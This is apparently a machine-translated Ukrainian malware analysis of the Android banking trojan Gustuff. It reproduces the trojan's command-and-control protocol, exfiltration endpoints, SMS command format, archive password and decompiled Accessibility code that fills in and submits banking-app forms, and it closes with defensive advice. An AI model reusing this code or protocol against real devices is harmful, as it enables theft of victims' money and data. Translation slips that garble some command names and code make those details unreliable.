Як Android-троян Gustuff знімає вершки (фіат та крипту) з ваших рахунків

Як Android-троян Gustuff знімає вершки (фіат та крипту) з ваших рахунків

Буквально днями Group-IB повідомляла про активність мобільного Android-трояна Gustuff Він працює виключно на міжнародних ринках, атакуючи клієнтів 100 найбільших іноземних банків, користувачів мобільних 32 криптогаманців, а також великих e-commerce ресурсів. А ось розробник Gustuff - російськомовний кіберзлочинець під ніком Bestoffer. Ще недавно він нахвалював свій троян як «серйозний продукт для людей зі знаннями та досвідом».

Фахівець із аналізу шкідливого коду Group-IB Іван Писарєв у своєму дослідженні докладно розповідає про те, як працює Gustuff і в чому його небезпека.

За ким полює Gustuff

Gustuff належить до нового покоління шкідливих програм із повністю автоматизованими функціями. За словами розробника, троян став новою покращеною версією шкідливої ​​програми AndyBot, яка з листопада 2017 року атакує телефони з ОС Android і краде гроші через фішингові веб-форми, що маскуються під мобільні додатки відомих міжнародних банків та платіжних систем. Bestoffer повідомляв, що ціна оренди "Gustuff Bot" становила $800 на місяць.

Аналіз семпла Gustuff показав, що потенційно троян націлений на клієнтів, які використовують мобільні програми найбільших банків, таких як Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, а також на криптогаманці Bitcoin Wallet, BitPay , Cryptopay, Coinbase та ін.

Спочатку створений як класичний банківський троян, поточна версія Gustuff значно розширила список потенційних об'єктів для атаки. Крім Android-додатків банків, фінтех-компаній та криптосервісів, Gustuff націлений на користувачів додатків маркетплейсів, онлайн-магазинів, платіжних систем та месенджерів. Зокрема, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut та інші.

Точка входу: розрахунок на масове зараження

Для Gustuff характерний "класичний" вектор проникнення на Android-смартфони через SMS-розсилки з посиланнями на APK. При зараженні Android-пристрою трояном за командою сервера може статися подальше поширення Gustuff'а з контактів інфікованого телефону чи з базі даних сервера. Функціональні можливості Gustuff розраховані на масове зараження та максимальну капіталізацію бізнесу своїх операторів – у ньому присутня унікальна функція «автозатоки» у легітимні мобільні банківські програми та криптогаманці, що дозволяє прискорити та масштабувати крадіжку грошей.

Дослідження трояна показало, що функція автозатоки реалізована в ньому за допомогою Accessibility Service - сервісу для людей з обмеженими можливостями. Gustuff – не перший троян, який успішно обходить захист від взаємодії з елементами вікон інших програм за допомогою даного сервісу Android. Однак використання Accessibility Service у поєднанні з автозатокою залишається досі досить рідкісним явищем.

Після завантаження на телефон жертви Gustuff, використовуючи Accessibility Service, отримує можливість взаємодіяти з елементами вікон інших програм (банківських, криптовалютних, а також програм для онлайн-шопінгу, обміну повідомленнями та ін.), виконуючи необхідні для зловмисників дії. Наприклад, за командою сервера троян може натискати на кнопки та змінювати значення текстових полів у банківських програмах. Використання механізму Accessibility Service дозволяє трояну обходити механізми захисту, що використовуються банками для протидії мобільним троянам минулого покоління, а також зміни в безпековій політиці, впроваджені Google в нові версії ОС Android. Так, Gustuff «уміє» відключати захист Google Protect: як запевняє автор, дана функція спрацьовує в 70% випадків.

Як Android-троян Gustuff знімає вершки (фіат та крипту) з ваших рахунків

Також Gustuff може демонструвати фейкові PUSH повідомлення з іконками легітимних мобільних додатків. Користувач клікає на PUSH-повідомлення і бачить завантажене з сервера вікно фішинга, куди сам вводить запитані дані банківської картки або криптогаманця. В іншому сценарії роботи Gustuff відбувається відкриття програми, від імені якої демонструвалося PUSH-повідомлення. У цьому випадку шкідлива програма за допомогою сервера через Accessibility Service може заповнювати поля форми банківської програми для шахрайської транзакції.

У функціональні можливості Gustuff також входять відправка на сервер інформації про заражений пристрій, можливість читання/відправлення SMS-повідомлень, відправлення USSD-запитів, запуск SOCKS5 Proxy, перехід за посиланням, відправлення файлів (у тому числі фотосканів документів, скріншотів, фотографій) на сервер , скидання пристрою до заводських установок.

Аналіз шкідливої ​​програми

Перед встановленням шкідливої ​​програми ОС Android демонструє користувачеві вікно, що містить в собі список прав, що запитуються Gustuff'ом:

Як Android-троян Gustuff знімає вершки (фіат та крипту) з ваших рахунків
Встановлення програми відбудеться лише після отримання згоди користувача. Після запуску програми троян покаже користувачеві вікно:

Як Android-троян Gustuff знімає вершки (фіат та крипту) з ваших рахунків
Після чого видалить свою іконку.

Gustuff упакований, за словами автора, пакувальником від FTT. Після запуску програма періодично звертається до CnC-сервера з метою отримання команд. У кількох досліджених нами файлах як керуючий сервер використовувалася IP-адреса 88.99.171[.]105 (надалі будемо позначати як <%CnC%>).

Після запуску програма починає надсилання повідомлень серверу http://<%CnC%>/api/v1/get.php.

Як відповідь очікується JSON наступного формату:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

При кожному зверненні програма надсилає інформацію про заражений пристрій. Формат повідомлення наведено нижче. Варто зазначити, що поля Повний, додатково, додатка и дозвіл – опціональні та будуть надіслані лише у випадку команди-запиту від CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Зберігання конфігураційних даних

Gustuff зберігає важливу інформацію в preference-файлі. Ім'я файлу, як і імена параметрів у ньому – результат обчислення суми MD5 від рядка 15413090667214.6.1<%name%>, Де <%name%> - Вихідне ім'я-значення. Python-інтерпретація функції генерації імені:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Надалі будемо позначати як nameGenerator(input).
Таким чином, ім'я першого файлу: nameGenerator("API_SERVER_LIST"), Він містить значення з наступними іменами:

Ім'я змінної значення
nameGenerator("API_SERVER_LIST") Містить список CnC-адрес у вигляді масиву.
nameGenerator("API_SERVER_URL") Містить CnC-адресу.
nameGenerator("SMS_UPLOAD") Прапор за промовчанням встановлено. Якщо прапор встановлено – надсилає SMS-повідомлення на CnC.
nameGenerator("SMS_ROOT_NUMBER") Номер телефону, на який будуть надіслані SMS-повідомлення, прийняті зараженим пристроєм. Типово null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Прапор за замовчуванням скинутий. Якщо встановлено – при отриманні зараженим пристроєм SMS його буде відправлено на root-номер.
nameGenerator(«DEFAULT_APP_SMS») Прапор за замовчуванням скинутий. Якщо цей прапор встановлений – програма оброблятиме вхідні SMS-повідомлення.
nameGenerator("DEFAULT_ADMIN") Прапор за замовчуванням скинутий. Якщо прапорець встановлено – програма має права адміністратора.
nameGenerator(«DEFAULT_ACCESSIBILITY») Прапор за замовчуванням скинутий. Якщо прапорець встановлено – запущено сервіс, що використовує Accessibility Service.
nameGenerator("APPS_CONFIG") JSON-об'єкт містить список дій, які необхідно виконати при спрацьовуванні Accessibility-події, пов'язаної з певним додатком.
nameGenerator("APPS_INSTALLED") Зберігає список інстальованих на пристрої програм.
nameGenerator("IS_FIST_RUN") Прапор під час першого запуску скидається.
nameGenerator(«UNIQUE_ID») Містить унікальний ідентифікатор. Генерується при першому запуску робота.

Модуль обробки команд від сервера

Додаток зберігає адреси CnC-серверів у вигляді масиву закодованих по База85 рядків. Список CnC-серверів може бути змінений при надходженні відповідної команди, в такому випадку адреси будуть зберігатися в preference-файлі.

У відповідь на запит сервер надсилає програмі команду. Варто зазначити, що команди та параметри представлені у JSON-форматі. Програма може обробляти такі команди:

Команда Опис
forwardStart Почати відправлення одержуваних зараженим пристроєм SMS-повідомлень на CnC-сервер.
forwardStop Зупинити відправлення SMS-повідомлень, що отримуються зараженим пристроєм, на CnC-сервер.
ussdRun Виконати USSD-запит. Номер, на який необхідно здійснити USSD-запит, знаходиться в JSON-полі «number».
sendSms Надіслати одне SMS-повідомлення (при необхідності повідомлення "дробиться" на частини). Як параметр команда приймає JSON-об'єкт, що містить поля "to" - номер призначення і "body" - тіло повідомлення.
sendSmsAb Надіслати SMS-повідомлення (при необхідності повідомлення "дробиться" на частини) всім зі списку контактів зараженого пристрою. Інтервал між надсиланням повідомлень – 10 секунд. Тіло повідомлення знаходиться в JSON-полі «body»
sendSmsMass Надіслати SMS-повідомлення (за потреби повідомлення «дробиться» на частини) контактам, вказаним у параметрах команди. Інтервал між надсиланням повідомлень – 10 секунд. Як параметр команда приймає JSON-масив (поле "sms"), елементи якого містять поля "to" - номер призначення та "body" - тіло повідомлення.
changeServer Ця команда як параметр може приймати значення з ключем "url" - тоді бот змінить значення nameGenerator("SERVER_URL"), або "array" - тоді бот запише масив в nameGenerator ("API_SERVER_LIST") Таким чином додаток змінює адресу CnC-серверів.
adminNumber Команда варта роботи з root-номером. Команда приймає JSON-об'єкт з такими параметрами: "number" - змінити nameGenerator("ROOT_NUMBER") на отримане значення, "resend" - змінити nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - відправити на nameGenerator("RO"
updateInfo Надіслати на сервер інформацію про заражений пристрій.
wipeData Команда призначена для видалення даних користувача. Залежно від якого імені було запущено програму відбувається або повне стирання даних з перезавантаженням пристрою (primary user), або видалення лише даних користувача (secondary user).
socksStart Запустити Proxy-модуль. Робота модуля описана окремому розділі.
socksStop Зупинити роботу Proxy-модуля.
openLink Перейти за посиланням. Посилання знаходиться в JSON-параметрі за ключом URL. Для відкриття посилання використовується android.intent.action.VIEW.
uploadAllSms Надіслати на сервер усі прийняті пристроєм SMS-повідомлення.
uploadAllPhotos Надіслати на URL зображення із зараженого пристрою. URL-адреса приходить як параметр.
завантажити файл Надіслати на URL файл із зараженого пристрою. URL-адреса приходить як параметр.
uploadPhoneNumbers Надіслати на сервер номери телефонів зі списку контактів. Якщо в якості параметра надходить JSON-об'єкт значення з ключем «ab», програма отримує список контактів із телефонної книги. Якщо в якості параметра приходить об'єкт JSON з ключем «sms», програма читає список контактів з відправників SMS-повідомлень.
changeArchive Програма завантажує файл з адреси, яка надходить як параметр за ключом «url». Завантажений файл зберігається під назвою «archive.zip». Після цього програма розархівує файл, за необхідності використовуючи пароль для архіву "b5jXh37gxgHBrZhQ4j3D". Розархівовані файли зберігає в директорію [external storage]/hgps. У цій директорії програма зберігає web-фейки (описано далі).
дії Команда призначена для роботи з Action Service, яка описана в окремому розділі.
тест Нічого не робить.
скачати Команда призначена для завантаження файлу з віддаленого сервера та збереження його до директорії «Downloads». URL та ім'я файлу приходять як параметр, поля в JSON-об'єкті параметрі відповідно: "url" і "fileName".
видаляти Видаляє файл із директорії «Downloads». Ім'я файлу надходить у JSON-параметрі з ключем "fileName". Стандартне ім'я файлу – tmp.apk.
сповіщення Показати повідомлення з текстами опису та заголовка, що визначаються керуючим сервером.

Формат команди сповіщення:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Повідомлення, створюване досліджуваним файлом, виглядає ідентично повідомленням, створюваним додатком, вказаним у полі додаток. Якщо значення поля openApp — True, при відкритті повідомлення запускається програма, вказана в полі додаток. Якщо значення поля openApp - False, то:

  • відкривається фішингове вікно, вміст якого завантажується з директорії <%external storage%>/hgps/<%filename%>
  • відкривається фішингове вікно, вміст якого завантажується із сервера <%url%>?id=<%Bot id%>&app=<%Application name%>
  • відкривається фішингове вікно, замасковане під Google Play Card, з можливістю ввести карти.

Результат виконання будь-якої команди програма відправляє на <%CnC%>set_state.php у вигляді JSON-об'єкта наступного формату:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
До списку команд, які обробляє програму, входить дію. При отриманні команди модуль обробки команд звертається до цього сервісу для виконання розширеної команди. Як параметр сервіс приймає JSON-об'єкт. Сервіс може виконувати наступні команди:

1. PARAMS_ACTION - при отриманні такої команди сервіс насамперед отримує з JSON-параметра значення за ключом Type, може бути наступним:

  • serviceInfo – підкоманда отримує з JSON-параметра значення за ключом includeNotImportant. Якщо прапор дорівнює True — програма встановлює прапор FLAG_ISOLATED_PROCESS на сервіс, який використовує Accessibility Service. Таким чином, сервіс запуститься в окремому процесі.
  • корінь — отримати та надіслати на сервер інформацію про вікно, яке зараз у фокусі. Програма отримує інформацію за допомогою класу AccessibilityNodeInfo.
  • адмін - Запитати права адміністратора.
  • затримка — призупинити роботу ActionsService на кількість мілісекунд, яка вказана в параметрі за ключом «data».
  • windows — надіслати список видимих ​​користувачеві вікон.
  • встановлювати — встановити програму на заражений пристрій. Назва пакета - архів знаходиться в ключі "fileName". Сам архів знаходиться у директорії Downloads.
  • в цілому - підкоманда призначена для здійснення переходу з поточного вікна:
    • у меню Quick Settings
    • назад
    • додому
    • до повідомлень
    • до вікна нещодавно відкритих програм

  • запуск - Запустити додаток. Найменування програми приходить як параметр ключа дані.
  • звуки - Змінити режим звуку на silence.
  • відімкнути - Вмикає підсвічування екрана і клавіатури на повну яскравість. Додаток виконує цю дію за допомогою WakeLock, як тег вказує рядок [Application lable]:INFO
  • permissionOverlay - функція не реалізована (відповідь на виконання команди - {"message": "Not support"} або {"message": "low sdk"})
  • жест - функція не реалізована (відповідь на виконання команди - {«message»:«Not support»}або {«message»:«Low API»})
  • Дозволи — ця команда необхідна для запиту прав на програму. Однак функція запиту не реалізована, таким чином команда не має сенсу. Список запитуваних прав приходить як JSON-масив із ключем «permissions». Стандартний список:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • відкрити - Вивести на екран фішингове вікно. Залежно від параметра, що приходить від сервера, програма може демонструвати наступні фішингові вікна:
    • Показати фішингове вікно, вміст якого прописано у файлі в директорії <%external directory%>/hgps/<%param_filename%>. Результат взаємодії користувача з вікном буде надіслано на адресу <%CnC%>/records.php
    • Показати вікно фішингу, вміст якого попередньо вантажиться з адреси <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Результат взаємодії користувача з вікном буде надіслано на адресу <%CnC%>/records.php
    • Показати фішингове вікно, замасковане під Google Play Card.

  • інтерактивний — команда призначена для взаємодії з елементами вікон інших програм за допомогою AcessibilityService. Для взаємодії у програмі реалізовано спеціальний сервіс. Досліджуваний додаток може взаємодіяти з вікнами:
    • Активним зараз. У разі параметр містить id чи text (найменування) об'єкта, з яким потрібно взаємодіяти.
    • Видимими користувачеві на момент виконання команди. Програма вибирає вікна по id.

    Отримавши об'єкти AccessibilityNodeInfo для елементів вікна, що цікавлять, додаток в залежності від параметрів може виконувати дії:

    • focus — Встановити фокус на об'єкт.
    • click — клацнути на об'єкт.
    • actionId - виконати дію за ID.
    • setText — Змініть текст об'єкта. Зміна тексту можлива двома способами: виконати дію ACTION_SET_TEXT (якщо версія Android зараженого пристрою – молодша або дорівнює ЛОЛІПОП), або помістивши в буфер обміну рядок і вставивши його в об'єкт (для старших версій). Ця команда може бути використана для зміни даних у банківському додатку.

2. PARAMS_ACTIONS — те саме, що й PARAMS_ACTION, тільки приходить JSON-масив команд.

Здається, багатьом буде цікаво, як виглядає функція взаємодії з елементами вікна іншої програми. Ось таким чином реалізована дана функціональна можливість у Gustuff'і:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Функція заміни тексту:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Таким чином, при правильному налаштуванні керуючого сервера Gustuff здатний заповнити текстові поля в банківській програмі та натиснути на необхідні для здійснення транзакції кнопки. Трояну навіть не потрібно проходити авторизацію в додатку - достатньо відправити команду на демонстрацію PUSH-повідомлення з наступним відкриттям раніше встановленого банківського додатку. Користувач сам пройде авторизацію, після чого Gustuff зможе провести автозатоку.

Модуль обробки SMS-повідомлень

Додаток встановлює обробник події прийняття зараженим пристроєм СМС-повідомлень. Додаток може приймати команди від оператора, які приходять у тілі СМС-повідомлення. Команди приходять у форматі:

7!5=<%Base64 encoded command%>

Додаток шукає у всіх SMS-повідомленнях, що надходять, рядок 7!5=, при виявленні рядка – декодує з Base64 рядок зі зміщенням 4 і виконує команду. Команди аналогічні командам із CnC. Результат виконання вирушає на той самий номер, з якого надійшла команда. Формат відповіді:

7*5=<%Base64 encode of «result_code command»%>

Опціонально програма може відправляти всі повідомлення, що приймаються на Root-номер. Для цього в preference-файлі має бути вказано Root-номер і встановлено прапорець редиректу повідомлень. СМС-повідомлення надсилається на номер зловмисника у форматі:

<%From number%> — <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Також опціонально програма може надсилати повідомлення на CnC. СМС-повідомлення надсилається на сервер у JSON-форматі:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Якщо встановлено прапор nameGenerator(«DEFAULT_APP_SMS») – програма зупиняє обробку SMS-повідомлення та очищає список вхідних повідомлень.

Proxy-модуль

У досліджуваному додатку присутній Backconnect Proxy модуль (далі Proxy-модуль), який має окремий клас, що включає статичні поля з конфігурацією. Конфігураційні дані зберігаються у семплі у відкритому вигляді:

Як Android-троян Gustuff знімає вершки (фіат та крипту) з ваших рахунків

Всі дії, які здійснюються Proxy-модулем, логуються у файли. Для цього програма в External Storage створює директорію під назвою «logs» (поле ProxyConfigClass.logsDir у конфігураційному класі), в якій зберігаються лог-файли. Логування відбувається у файли з іменами:

  1. main.txt – у цей файл відбувається логування роботи класу під назвою CommandServer. Надалі логування рядка str у цей файл будемо позначати як mainLog(str).
  2. session-<%id%>.txt — в даний файл відбувається збереження даних, пов'язаних з певною сесією проксування. Надалі логування рядка str у цей файл будемо позначати як sessionLog (str).
  3. server.txt – у цей файл відбувається логування всіх даних, що записуються у вищеописані файли.

Формат лог-даних:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Виключення, що виникають у процесі роботи Proxy-модуля, також логуються у файл. Для цього програма формує JSON-об'єкт формату:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Після чого конвертує його в рядкову виставу та логує.

Запуск Proxy-модуля здійснюється після надходження відповідної комнади. При надходженні команди на запуск Proxy-модуля програма запускає сервіс з назвою MainService, який відповідає за керування роботою Proxy-модуля – його запуск та зупинку.

Етапи запуску сервісу:

1. Запускає таймер, що спрацьовує щохвилини і перевіряє активність Proxy-модуля. Якщо модуль не активний – запускає його.
Також при спрацюванні події android.net.conn.CONNECTIVITY_CHANGE відбувається запуск Proxy-модуля.

2. Програма створює wake-lock з параметром PARTIAL_WAKE_LOCK та захоплює його. Таким чином не дозволяє перейти CPU пристрою в режим сну.

3. Запускає клас обробки команд Proxy-модуля, попередньо логіруючи рядок mainLog(«start server») и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

де proxy_cnc, command_port та proxy_port - Настройки, отримані з конфігурації Proxy-сервера.

Клас обробки команд має назву CommandConnection. Відразу після запуску виконує такі дії:

4. Підключається до ProxyConfigClass.host: ProxyConfigClass.commandPort і надсилає туди дані про заражений пристрій у JSON-форматі:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Де:

  • id – ідентифікатор, який намагається отримати з Shared Preference файлу з ім'ям «x» значення з полем «id». Якщо це значення отримати не вдалося — генерує нове. Таким чином, Proxy модуль має свій ідентифікатор, який генерується аналогічно Bot ID.
  • imei - IMEI пристрою. Якщо в процесі отримання значення відбулася помилка, замість цього поля буде записано текстове повідомлення про помилку.
  • imsi - International Mobile Subscriber Identity пристрою. Якщо в процесі отримання значення сталася помилка, натомість поля буде записано текстове повідомлення про помилку.
  • model — end-user-visible name for the end product.
  • manufacturer — Manufacturer of product/hardware (Build.MANUFACTURER).
  • androidVersion - рядок у форматі «<% release_version%> (<% os_version %>), <% sdk_version %>»
  • country — поточне розташування пристрою.
  • partnerId – порожній рядок.
  • packageName – package name.
  • networkType — тип поточного мережного з'єднання (наприклад: WIFI, MOBILE). У разі помилки повертає null.
  • hasGsmSupport – true – якщо телефон підтримує GSM, інакше false.
  • simReady – стан SIM-картки.
  • simCountry - ISO-код країни (на підставі провайдера сім-карти).
  • networkOperator - найменування оператора. Якщо в процесі отримання значення сталася помилка, натомість поля буде записано текстове повідомлення про помилку.
  • simOperator - Service Provider Name (SPN). Якщо в процесі отримання значення сталася помилка, натомість поля буде записано текстове повідомлення про помилку.
  • version - це поле зберігається в конфіг-класі, для досліджуваних версій робота воно дорівнювало «1.6».

5. Переходить до режиму очікування команд від сервера. Команди від сервера надходять у форматі:

  • 0 offset – command
  • 1 offset – sessionId
  • 2 offset – length
  • 4 offset - data

Під час вступу команди додаток логує:
mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»)

Можливі наступні команди від сервера:

ІМ'Я Command дані Опис
connectionId 0 ID підключення Створити нове підключення
SLEEP 3 Time Зупинити роботу Proxy-модуля
PING_PONG 4 - Надіслати PONG-повідомлення

PONG-повідомлення складається з 4 байт і виглядає так: 0x04000000.

При надходженні команди connectionId (на створення нового підключення) CommandConnection створює екземпляр класу ProxyConnection.

  • У проксуванні беруть участь два класи: ProxyConnection и кінець. При створенні класу ProxyConnection відбувається підключення до адреси ProxyConfigClass.host: ProxyConfigClass.proxyPort та передача JSON-об'єкта:

 {
    "id":<%connectionId%>
}

У відповідь сервер надсилає SOCKS5-повідомлення, яке містить адресу віддаленого сервера, з яким необхідно встановити з'єднання. Взаємодія з цим сервером відбувається за допомогою класу кінець. Схематично встановлення з'єднання можна представити так:

Як Android-троян Gustuff знімає вершки (фіат та крипту) з ваших рахунків

Мережеві взаємодії

Для запобігання аналізу трафіку мережевими сніфферами взаємодія між CnC-сервером та програмою може бути захищена за допомогою протоколу SSL. Всі дані, що передаються як з сервера так і на сервер представлені в JSON-форматі. Додаток під час роботи виконує такі запити:

  • http://<%CnC%>/api/v1/set_state.php - Результат виконання команди.
  • http://<%CnC%>/api/v1/get.php - Отримання команди.
  • http://<%CnC%>/api/v1/load_sms.php — Вивантаження SMS-повідомлень із зараженого пристрою.
  • http://<%CnC%>/api/v1/load_ab.php — Вивантаження списку контактів із зараженого пристрою.
  • http://<%CnC%>/api/v1/aevents.php – запит виконується при оновленні параметрів, що знаходяться в preference-файлі.
  • http://<%CnC%>/api/v1/set_card.php - Вивантаження даних, отриманих за допомогою фішинг-окна, що маскується під Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - Вивантаження лог-даних.
  • http://<%CnC%>/api/v1/records.php - Вивантаження даних, отриманих за допомогою фішингових вікон.
  • http://<%CnC%>/api/v1/set_error.php – оповіщення про помилку.

Рекомендації

З метою захисту своїх клієнтів від загрози мобільних троянів компанії повинні використовувати комплексні рішення, які дозволяють без встановлення додаткового програмного забезпечення на пристрої користувачів, відстежувати та запобігати шкідливій активності.

Для цього сигнатурні методи виявлення мобільних троянів необхідно посилювати технологіями аналізу поведінки як клієнта, так і самої програми. Так само захист повинен включати функцію ідентифікації пристроїв з використанням технології цифрового відбитка, що дозволить зрозуміти, коли обліковий запис використовується з нетипового пристрою і вже потрапила в руки шахрая.

Принципово важливий момент – наявність можливості крос-канального аналізу, що дає можливість компаніям контролювати ризики, що виникають на боці не лише інтернет-, але й мобільного каналу, наприклад, у додатках для мобільного банкінгу, для операцій з криптовалютами та будь-яких інших, де може здійснюватися фінансової транзакції.

Правила безпеки для користувачів:

  • не встановлювати програми для мобільного пристрою з ОС Android з будь-яких джерел, крім Google Play, звертати особливу увагу на права, що запитуються додатком;
  • регулярно встановлювати оновлення ОС Android;
  • звертати увагу на розширення файлів, що завантажуються;
  • не відвідувати підозрілих ресурсів;
  • не переходити за посиланнями, отриманими у SMS-повідомленнях.

За участю Насіння Рогачова, молодшого спеціаліста з дослідження шкідливого коду Лабораторії комп'ютерної криміналістики Group-IB

Джерело: habr.com

Додати коментар або відгук